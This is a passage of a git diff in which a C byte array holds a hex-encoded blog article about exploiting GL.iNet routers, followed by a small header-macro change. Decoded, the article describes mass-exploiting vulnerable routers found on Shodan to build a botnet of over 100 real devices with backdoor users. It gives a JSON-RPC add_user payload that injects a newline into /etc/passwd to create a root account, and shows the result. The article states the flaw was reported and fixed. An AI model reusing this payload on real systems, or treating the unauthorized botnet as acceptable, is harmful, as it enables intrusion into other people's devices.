0xF0, 0x9F, 0x90, 0x8D, 0x20, 0x49, 0x20, 0x61, 0x75, 0x74, 0x6F, 0x6D, 0x61, 0x74, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x77, 0x68, 0x6F, 0x6C, 0x65, 0x20, 0x70, 0x72, 0x6F, 0x63, 0x65, 0x73, 0x73, 0x20, 0x6F, 0x66, 0x20, 0x73, 0x65, 0x61, 0x72, 0x63, 0x68, 0x69, 0x6E, 0x67, 0x20, 0x76, 0x75, 0x6C, 0x6E, 0x65, 0x72, 0x61, 0x62, 0x6C, 0x65, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x6F, 0x6E, 0x20, 0x53, 0x68, 0x6F, 0x64, 0x61, 0x6E, 0x2C, 0x20, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x69, 0x74, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x68, 0x65, 0x6D, 0x2C, 0x20, 0x61, 0x64, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x61, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x64, 0x6F, 0x6F, 0x72, 0x20, 0x75, 0x73, 0x65, 0x72, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x6D, 0x61, 0x6B, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x68, 0x65, 0x6D, 0x20, 0x63, 0x6F, 0x6E, 0x6E, 0x65, 0x63, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x79, 0x20, 0x72, 0x74, 0x74, 0x79, 0x73, 0x20, 0x73, 0x65, 0x72, 0x76, 0x65, 0x72, 0x2E, 0x0A, 0x54, 0x68, 0x65, 0x20, 0x72, 0x65, 0x73, 0x75, 0x6C, 0x74, 0x20, 0x77, 0x61, 0x73, 0x20, 0x61, 0x20, 0x73, 0x74, 0x75, 0x6E, 0x6E, 0x69, 0x6E, 0x67, 0x20, 0x62, 0x6F, 0x74, 0x6E, 0x65, 0x74, 0x20, 0x6F, 0x66, 0x20, 0x31, 0x30, 0x30, 0x2B, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x28, 0x61, 0x63, 0x74, 0x75, 0x61, 0x6C, 0x6C, 0x79, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x72, 0x65, 0x20, 0x61, 0x72, 0x65, 0x20, 0x65, 0x76, 0x65, 0x6E, 0x20, 0x6D, 0x6F, 0x72, 0x65, 0x20, 0x76, 0x75, 0x6C, 0x6E, 0x65, 0x72, 0x61, 0x62, 0x6C, 0x65, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x6F, 0x6E, 0x20, 0x53, 0x68, 0x6F, 0x64, 0x61, 0x6E, 0x2C, 0x20, 0x62, 0x75, 0x74, 0x20, 0x49, 0x20, 0x73, 0x74, 0x6F, 0x70, 0x70, 0x65, 0x64, 0x20, 0x61, 0x74, 0x20, 0x31, 0x30, 0x30, 0x29, 0x2E, 0x0A, 0x0A, 0x3E, 0x20, 0x3C, 0x69, 0x6D, 0x67, 0x20, 0x73, 0x72, 0x63, 0x3D, 0x22, 0x2F, 0x61, 0x73, 0x73, 0x65, 0x74, 0x73, 0x2F, 0x62, 0x6F, 0x74, 0x6E, 0x65, 0x74, 0x2E, 0x67, 0x69, 0x66, 0x2E, 0x77, 0x65, 0x62, 0x70, 0x22, 0x20, 0x61, 0x6C, 0x74, 0x3D, 0x22, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x20, 0x62, 0x6F, 0x74, 0x6E, 0x65, 0x74, 0x22, 0x20, 0x63, 0x6C, 0x61, 0x73, 0x73, 0x3D, 0x22, 0x7A, 0x6F, 0x6F, 0x6D, 0x61, 0x62, 0x6C, 0x65, 0x22, 0x2F, 0x3E, 0x3C, 0x62, 0x72, 0x3E, 0x0A, 0x0A, 0x4E, 0x6F, 0x77, 0x2C, 0x20, 0x49, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x20, 0x61, 0x6C, 0x6C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x73, 0x20, 0x74, 0x6F, 0x20, 0x64, 0x6F, 0x20, 0x77, 0x68, 0x61, 0x74, 0x65, 0x76, 0x65, 0x72, 0x20, 0x77, 0x65, 0x20, 0x77, 0x61, 0x6E, 0x74, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x74, 0x68, 0x65, 0x20, 0x62, 0x61, 0x63, 0x6B, 0x64, 0x6F, 0x6F, 0x72, 0x20, 0x61, 0x63, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x20, 0x77, 0x65, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x2E, 0x20, 0x49, 0x20, 0x66, 0x6F, 0x72, 0x67, 0x6F, 0x74, 0x20, 0x74, 0x6F, 0x20, 0x6D, 0x65, 0x6E, 0x74, 0x69, 0x6F, 0x6E, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x72, 0x74, 0x74, 0x79, 0x73, 0x20, 0x61, 0x6C, 0x6C, 0x6F, 0x77, 0x20, 0x75, 0x73, 0x20, 0x74, 0x6F, 0x20, 0x65, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x20, 0x73, 0x63, 0x68, 0x65, 0x64, 0x75, 0x6C, 0x65, 0x64, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x73, 0x2C, 0x20, 0x73, 0x6F, 0x20, 0x77, 0x65, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x65, 0x76, 0x65, 0x6E, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x74, 0x68, 0x65, 0x6D, 0x20, 0x65, 0x78, 0x65, 0x63, 0x75, 0x74, 0x65, 0x20, 0x63, 0x6F, 0x6D, 0x6D, 0x61, 0x6E, 0x64, 0x73, 0x20, 0x61, 0x74, 0x20, 0x61, 0x20, 0x73, 0x70, 0x65, 0x63, 0x69, 0x66, 0x69, 0x63, 0x20, 0x74, 0x69, 0x6D, 0x65, 0x2C, 0x20, 0x6C, 0x69, 0x6B, 0x65, 0x20, 0x61, 0x6E, 0x20, 0x61, 0x63, 0x74, 0x75, 0x61, 0x6C, 0x20, 0x62, 0x6F, 0x74, 0x6E, 0x65, 0x74, 0x2E, 0x0A, 0x0A, 0x23, 0x20, 0x42, 0x6F, 0x6E, 0x75, 0x73, 0x20, 0x63, 0x68, 0x61, 0x70, 0x74, 0x65, 0x72, 0x2C, 0x20, 0x61, 0x62, 0x6F, 0x76, 0x65, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x62, 0x65, 0x79, 0x6F, 0x6E, 0x64, 0x0A, 0x21, 0x5B, 0x41, 0x62, 0x6F, 0x76, 0x65, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x62, 0x65, 0x79, 0x6F, 0x6E, 0x64, 0x5D, 0x28, 0x2F, 0x61, 0x73, 0x73, 0x65, 0x74, 0x73, 0x2F, 0x67, 0x6F, 0x74, 0x2D, 0x72, 0x6F, 0x6F, 0x74, 0x2E, 0x6A, 0x70, 0x67, 0x2E, 0x77, 0x65, 0x62, 0x70, 0x29, 0x0A, 0x0A, 0x53, 0x6F, 0x20, 0x66, 0x61, 0x72, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x69, 0x74, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x76, 0x75, 0x6C, 0x6E, 0x65, 0x72, 0x61, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x64, 0x20, 0x61, 0x20, 0x62, 0x6F, 0x74, 0x6E, 0x65, 0x74, 0x2C, 0x20, 0x62, 0x75, 0x74, 0x20, 0x77, 0x65, 0x20, 0x64, 0x69, 0x64, 0x6E, 0x27, 0x74, 0x20, 0x6D, 0x61, 0x6E, 0x61, 0x67, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x20, 0x61, 0x20, 0x72, 0x6F, 0x6F, 0x74, 0x20, 0x61, 0x63, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x2E, 0x20, 0x49, 0x6E, 0x20, 0x66, 0x61, 0x63, 0x74, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x2A, 0x2A, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2F, 0x61, 0x64, 0x64, 0x5F, 0x75, 0x73, 0x65, 0x72, 0x2A, 0x2A, 0x20, 0x41, 0x50, 0x49, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x73, 0x20, 0x61, 0x20, 0x72, 0x65, 0x67, 0x75, 0x6C, 0x61, 0x72, 0x20, 0x75, 0x73, 0x65, 0x72, 0x20, 0x72, 0x61, 0x74, 0x68, 0x65, 0x72, 0x20, 0x74, 0x68, 0x61, 0x6E, 0x20, 0x61, 0x20, 0x72, 0x6F, 0x6F, 0x74, 0x20, 0x6F, 0x6E, 0x65, 0x2E, 0x0A, 0x0A, 0x54, 0x6F, 0x20, 0x63, 0x72, 0x65, 0x61, 0x74, 0x65, 0x20, 0x61, 0x20, 0x72, 0x6F, 0x6F, 0x74, 0x20, 0x61, 0x63, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x2C, 0x20, 0x77, 0x65, 0x20, 0x6E, 0x65, 0x65, 0x64, 0x20, 0x74, 0x6F, 0x20, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x69, 0x74, 0x20, 0x61, 0x6E, 0x6F, 0x74, 0x68, 0x65, 0x72, 0x20, 0x76, 0x75, 0x6C, 0x6E, 0x65, 0x72, 0x61, 0x62, 0x69, 0x6C, 0x69, 0x74, 0x79, 0x2E, 0x20, 0x2A, 0x2A, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x2F, 0x61, 0x64, 0x64, 0x5F, 0x75, 0x73, 0x65, 0x72, 0x2A, 0x2A, 0x20, 0x77, 0x6F, 0x72, 0x6B, 0x73, 0x20, 0x62, 0x79, 0x20, 0x61, 0x70, 0x70, 0x65, 0x6E, 0x64, 0x69, 0x6E, 0x67, 0x20, 0x61, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x74, 0x6F, 0x20, 0x2A, 0x2A, 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x2A, 0x2A, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x2A, 0x2A, 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x73, 0x68, 0x61, 0x64, 0x6F, 0x77, 0x2A, 0x2A, 0x20, 0x66, 0x69, 0x6C, 0x65, 0x73, 0x2C, 0x20, 0x6F, 0x62, 0x76, 0x69, 0x6F, 0x75, 0x73, 0x6C, 0x79, 0x20, 0x77, 0x69, 0x74, 0x68, 0x6F, 0x75, 0x74, 0x20, 0x73, 0x61, 0x6E, 0x69, 0x74, 0x69, 0x7A, 0x69, 0x6E, 0x67, 0x20, 0x74, 0x68, 0x65, 0x20, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x2E, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x6A, 0x73, 0x6F, 0x6E, 0x0A, 0x7B, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x22, 0x6A, 0x73, 0x6F, 0x6E, 0x72, 0x70, 0x63, 0x22, 0x3A, 0x22, 0x32, 0x2E, 0x30, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x22, 0x6D, 0x65, 0x74, 0x68, 0x6F, 0x64, 0x22, 0x3A, 0x22, 0x63, 0x61, 0x6C, 0x6C, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x22, 0x70, 0x61, 0x72, 0x61, 0x6D, 0x73, 0x22, 0x3A, 0x5B, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x3C, 0x53, 0x45, 0x53, 0x53, 0x49, 0x4F, 0x4E, 0x5F, 0x49, 0x44, 0x3E, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x61, 0x64, 0x64, 0x5F, 0x75, 0x73, 0x65, 0x72, 0x22, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7B, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x75, 0x73, 0x65, 0x72, 0x6E, 0x61, 0x6D, 0x65, 0x22, 0x3A, 0x22, 0x62, 0x61, 0x63, 0x6B, 0x64, 0x6F, 0x6F, 0x72, 0x32, 0x3A, 0x24, 0x31, 0x24, 0x75, 0x7A, 0x79, 0x30, 0x58, 0x53, 0x42, 0x79, 0x24, 0x4B, 0x34, 0x44, 0x37, 0x74, 0x50, 0x65, 0x45, 0x4B, 0x30, 0x45, 0x61, 0x2E, 0x78, 0x51, 0x34, 0x39, 0x56, 0x37, 0x73, 0x4F, 0x31, 0x3A, 0x30, 0x3A, 0x30, 0x3A, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x2F, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x61, 0x73, 0x68, 0x5C, 0x6E, 0x22, 0x2C, 0x20, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x22, 0x3A, 0x20, 0x22, 0x66, 0x61, 0x6B, 0x65, 0x22, 0x2C, 0x20, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x75, 0x69, 0x64, 0x22, 0x3A, 0x20, 0x31, 0x33, 0x33, 0x37, 0x2C, 0x20, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x67, 0x69, 0x64, 0x22, 0x3A, 0x20, 0x31, 0x33, 0x33, 0x37, 0x2C, 0x20, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x68, 0x6F, 0x6D, 0x65, 0x22, 0x3A, 0x20, 0x22, 0x2F, 0x68, 0x6F, 0x6D, 0x65, 0x2F, 0x79, 0x6F, 0x75, 0x72, 0x5F, 0x72, 0x6F, 0x75, 0x74, 0x65, 0x72, 0x22, 0x2C, 0x20, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x22, 0x69, 0x6E, 0x74, 0x65, 0x72, 0x70, 0x72, 0x65, 0x74, 0x65, 0x72, 0x22, 0x3A, 0x20, 0x22, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x22, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x20, 0x7D, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x5D, 0x2C, 0x0A, 0x20, 0x20, 0x20, 0x20, 0x22, 0x69, 0x64, 0x22, 0x3A, 0x31, 0x0A, 0x7D, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x0A, 0x57, 0x65, 0x20, 0x63, 0x61, 0x6E, 0x20, 0x61, 0x62, 0x75, 0x73, 0x65, 0x20, 0x74, 0x68, 0x61, 0x74, 0x20, 0x62, 0x65, 0x68, 0x61, 0x76, 0x69, 0x6F, 0x72, 0x20, 0x74, 0x6F, 0x20, 0x69, 0x6E, 0x6A, 0x65, 0x63, 0x74, 0x20, 0x61, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x69, 0x6E, 0x73, 0x69, 0x64, 0x65, 0x20, 0x2A, 0x2A, 0x2F, 0x65, 0x74, 0x63, 0x2F, 0x70, 0x61, 0x73, 0x73, 0x77, 0x64, 0x2A, 0x2A, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x6D, 0x61, 0x6B, 0x65, 0x20, 0x69, 0x74, 0x20, 0x6C, 0x6F, 0x6F, 0x6B, 0x20, 0x6C, 0x69, 0x6B, 0x65, 0x20, 0x74, 0x68, 0x69, 0x73, 0x3A, 0x0A, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x78, 0x3A, 0x30, 0x3A, 0x30, 0x3A, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x2F, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x61, 0x73, 0x68, 0x0A, 0x64, 0x61, 0x65, 0x6D, 0x6F, 0x6E, 0x3A, 0x2A, 0x3A, 0x31, 0x3A, 0x31, 0x3A, 0x64, 0x61, 0x65, 0x6D, 0x6F, 0x6E, 0x3A, 0x2F, 0x76, 0x61, 0x72, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x66, 0x74, 0x70, 0x3A, 0x2A, 0x3A, 0x35, 0x35, 0x3A, 0x35, 0x35, 0x3A, 0x66, 0x74, 0x70, 0x3A, 0x2F, 0x68, 0x6F, 0x6D, 0x65, 0x2F, 0x66, 0x74, 0x70, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x6E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x3A, 0x2A, 0x3A, 0x31, 0x30, 0x31, 0x3A, 0x31, 0x30, 0x31, 0x3A, 0x6E, 0x65, 0x74, 0x77, 0x6F, 0x72, 0x6B, 0x3A, 0x2F, 0x76, 0x61, 0x72, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x6E, 0x6F, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x2A, 0x3A, 0x36, 0x35, 0x35, 0x33, 0x34, 0x3A, 0x36, 0x35, 0x35, 0x33, 0x34, 0x3A, 0x6E, 0x6F, 0x62, 0x6F, 0x64, 0x79, 0x3A, 0x2F, 0x76, 0x61, 0x72, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x64, 0x6E, 0x73, 0x6D, 0x61, 0x73, 0x71, 0x3A, 0x78, 0x3A, 0x34, 0x35, 0x33, 0x3A, 0x34, 0x35, 0x33, 0x3A, 0x64, 0x6E, 0x73, 0x6D, 0x61, 0x73, 0x71, 0x3A, 0x2F, 0x76, 0x61, 0x72, 0x2F, 0x72, 0x75, 0x6E, 0x2F, 0x64, 0x6E, 0x73, 0x6D, 0x61, 0x73, 0x71, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x73, 0x74, 0x75, 0x62, 0x62, 0x79, 0x3A, 0x78, 0x3A, 0x34, 0x31, 0x30, 0x3A, 0x34, 0x31, 0x30, 0x3A, 0x73, 0x74, 0x75, 0x62, 0x62, 0x79, 0x3A, 0x2F, 0x76, 0x61, 0x72, 0x2F, 0x72, 0x75, 0x6E, 0x2F, 0x73, 0x74, 0x75, 0x62, 0x62, 0x79, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x6E, 0x74, 0x70, 0x3A, 0x78, 0x3A, 0x31, 0x32, 0x33, 0x3A, 0x31, 0x32, 0x33, 0x3A, 0x6E, 0x74, 0x70, 0x3A, 0x2F, 0x76, 0x61, 0x72, 0x2F, 0x72, 0x75, 0x6E, 0x2F, 0x6E, 0x74, 0x70, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x6D, 0x6F, 0x73, 0x71, 0x75, 0x69, 0x74, 0x74, 0x6F, 0x3A, 0x78, 0x3A, 0x32, 0x30, 0x30, 0x3A, 0x32, 0x30, 0x30, 0x3A, 0x6D, 0x6F, 0x73, 0x71, 0x75, 0x69, 0x74, 0x74, 0x6F, 0x3A, 0x2F, 0x76, 0x61, 0x72, 0x2F, 0x72, 0x75, 0x6E, 0x2F, 0x6D, 0x6F, 0x73, 0x71, 0x75, 0x69, 0x74, 0x74, 0x6F, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x6C, 0x6F, 0x67, 0x64, 0x3A, 0x78, 0x3A, 0x35, 0x31, 0x34, 0x3A, 0x35, 0x31, 0x34, 0x3A, 0x6C, 0x6F, 0x67, 0x64, 0x3A, 0x2F, 0x76, 0x61, 0x72, 0x2F, 0x72, 0x75, 0x6E, 0x2F, 0x6C, 0x6F, 0x67, 0x64, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x75, 0x62, 0x75, 0x73, 0x3A, 0x78, 0x3A, 0x38, 0x31, 0x3A, 0x38, 0x31, 0x3A, 0x75, 0x62, 0x75, 0x73, 0x3A, 0x2F, 0x76, 0x61, 0x72, 0x2F, 0x72, 0x75, 0x6E, 0x2F, 0x75, 0x62, 0x75, 0x73, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x66, 0x61, 0x6C, 0x73, 0x65, 0x0A, 0x62, 0x61, 0x63, 0x6B, 0x64, 0x6F, 0x6F, 0x72, 0x32, 0x3A, 0x24, 0x31, 0x24, 0x75, 0x7A, 0x79, 0x30, 0x58, 0x53, 0x42, 0x79, 0x24, 0x4B, 0x34, 0x44, 0x37, 0x74, 0x50, 0x65, 0x45, 0x4B, 0x30, 0x45, 0x61, 0x2E, 0x78, 0x51, 0x34, 0x39, 0x56, 0x37, 0x73, 0x4F, 0x31, 0x3A, 0x30, 0x3A, 0x30, 0x3A, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x2F, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x61, 0x73, 0x68, 0x0A, 0x3A, 0x78, 0x3A, 0x31, 0x30, 0x30, 0x35, 0x3A, 0x31, 0x30, 0x30, 0x35, 0x3A, 0x62, 0x61, 0x63, 0x6B, 0x64, 0x6F, 0x6F, 0x72, 0x32, 0x3A, 0x24, 0x31, 0x24, 0x75, 0x7A, 0x79, 0x30, 0x58, 0x53, 0x42, 0x79, 0x24, 0x4B, 0x34, 0x44, 0x37, 0x74, 0x50, 0x65, 0x45, 0x4B, 0x30, 0x45, 0x61, 0x2E, 0x78, 0x51, 0x34, 0x39, 0x56, 0x37, 0x73, 0x4F, 0x31, 0x3A, 0x30, 0x3A, 0x30, 0x3A, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x2F, 0x72, 0x6F, 0x6F, 0x74, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x61, 0x73, 0x68, 0x0A, 0x3A, 0x2F, 0x68, 0x6F, 0x6D, 0x65, 0x2F, 0x75, 0x73, 0x65, 0x72, 0x3A, 0x2F, 0x62, 0x69, 0x6E, 0x2F, 0x73, 0x68, 0x0A, 0x60, 0x60, 0x60, 0x0A, 0x45, 0x76, 0x65, 0x6E, 0x20, 0x69, 0x66, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6C, 0x69, 0x6E, 0x65, 0x20, 0x69, 0x73, 0x20, 0x6D, 0x61, 0x6C, 0x66, 0x6F, 0x72, 0x6D, 0x65, 0x64, 0x2C, 0x20, 0x74, 0x68, 0x65, 0x20, 0x73, 0x79, 0x73, 0x74, 0x65, 0x6D, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x73, 0x74, 0x69, 0x6C, 0x6C, 0x20, 0x70, 0x61, 0x72, 0x73, 0x65, 0x20, 0x69, 0x74, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x77, 0x65, 0x20, 0x77, 0x69, 0x6C, 0x6C, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x6E, 0x65, 0x77, 0x20, 0x72, 0x6F, 0x6F, 0x74, 0x20, 0x61, 0x63, 0x63, 0x6F, 0x75, 0x6E, 0x74, 0x20, 0x6E, 0x61, 0x6D, 0x65, 0x64, 0x20, 0x2A, 0x2A, 0x62, 0x61, 0x63, 0x6B, 0x64, 0x6F, 0x6F, 0x72, 0x32, 0x2A, 0x2A, 0x20, 0x77, 0x69, 0x74, 0x68, 0x20, 0x74, 0x68, 0x65, 0x20, 0x70, 0x61, 0x73, 0x73, 0x77, 0x6F, 0x72, 0x64, 0x20, 0x2A, 0x2A, 0x74, 0x65, 0x73, 0x74, 0x2A, 0x2A, 0x2E, 0x0A, 0x0A, 0x23, 0x20, 0x41, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x72, 0x6F, 0x75, 0x74, 0x65, 0x72, 0x20, 0x77, 0x65, 0x6E, 0x74, 0x20, 0x77, 0x69, 0x6C, 0x64, 0x0A, 0x21, 0x5B, 0x52, 0x6F, 0x75, 0x74, 0x65, 0x72, 0x20, 0x67, 0x6F, 0x69, 0x6E, 0x67, 0x20, 0x77, 0x69, 0x6C, 0x64, 0x5D, 0x28, 0x2F, 0x61, 0x73, 0x73, 0x65, 0x74, 0x73, 0x2F, 0x72, 0x6F, 0x75, 0x74, 0x65, 0x72, 0x2D, 0x67, 0x6F, 0x69, 0x6E, 0x67, 0x2D, 0x77, 0x69, 0x6C, 0x64, 0x2E, 0x6A, 0x70, 0x67, 0x2E, 0x77, 0x65, 0x62, 0x70, 0x29, 0x0A, 0x0A, 0x54, 0x68, 0x69, 0x73, 0x20, 0x77, 0x61, 0x73, 0x20, 0x61, 0x20, 0x72, 0x65, 0x61, 0x6C, 0x6C, 0x79, 0x20, 0x66, 0x75, 0x6E, 0x20, 0x76, 0x75, 0x6C, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x65, 0x78, 0x70, 0x6C, 0x6F, 0x69, 0x74, 0x2E, 0x20, 0x49, 0x20, 0x68, 0x6F, 0x70, 0x65, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x65, 0x6E, 0x6A, 0x6F, 0x79, 0x65, 0x64, 0x20, 0x69, 0x74, 0x20, 0x61, 0x73, 0x20, 0x6D, 0x75, 0x63, 0x68, 0x20, 0x61, 0x73, 0x20, 0x49, 0x20, 0x64, 0x69, 0x64, 0x2E, 0x20, 0x49, 0x20, 0x72, 0x65, 0x70, 0x6F, 0x72, 0x74, 0x65, 0x64, 0x20, 0x74, 0x68, 0x65, 0x20, 0x76, 0x75, 0x6C, 0x6E, 0x20, 0x74, 0x6F, 0x20, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x2C, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x74, 0x68, 0x65, 0x79, 0x20, 0x66, 0x69, 0x78, 0x65, 0x64, 0x20, 0x69, 0x74, 0x20, 0x69, 0x6E, 0x20, 0x74, 0x68, 0x65, 0x20, 0x6C, 0x61, 0x74, 0x65, 0x73, 0x74, 0x20, 0x66, 0x69, 0x72, 0x6D, 0x77, 0x61, 0x72, 0x65, 0x20, 0x76, 0x65, 0x72, 0x73, 0x69, 0x6F, 0x6E, 0x2C, 0x20, 0x73, 0x6F, 0x20, 0x69, 0x66, 0x20, 0x79, 0x6F, 0x75, 0x20, 0x68, 0x61, 0x76, 0x65, 0x20, 0x61, 0x20, 0x47, 0x4C, 0x2E, 0x69, 0x4E, 0x65, 0x74, 0x20, 0x64, 0x65, 0x76, 0x69, 0x63, 0x65, 0x2C, 0x20, 0x70, 0x6C, 0x65, 0x61, 0x73, 0x65, 0x20, 0x75, 0x70, 0x64, 0x61, 0x74, 0x65, 0x20, 0x69, 0x74, 0x2E, 0x0A, 0x0A, 0x3E, 0x20, 0x48, 0x61, 0x76, 0x65, 0x20, 0x66, 0x75, 0x6E, 0x20, 0x61, 0x6E, 0x64, 0x20, 0x68, 0x61, 0x70, 0x70, 0x79, 0x20, 0x68, 0x61, 0x63, 0x6B, 0x69, 0x6E, 0x67, 0x21, 0x00}; diff --git a/src/libdzonerzy.so.h b/src/libdzonerzy.so.h index 27e3d83..6312c55 100644 --- a/src/libdzonerzy.so.h +++ b/src/libdzonerzy.so.h @@ -32,6 +32,8 @@ Copyright: #define SECTION(x) __attribute__((section(x))) // section name should be like "articles/article_name.md" #define ARTICLE(x) SECTION("articles/" x ".md") +// section name should be like "pages/page_name.md" +#define PAGE(x) SECTION("pages/" x ".md") /* CSS macros */ // comment macros diff --git a/tools/embed/embed.c 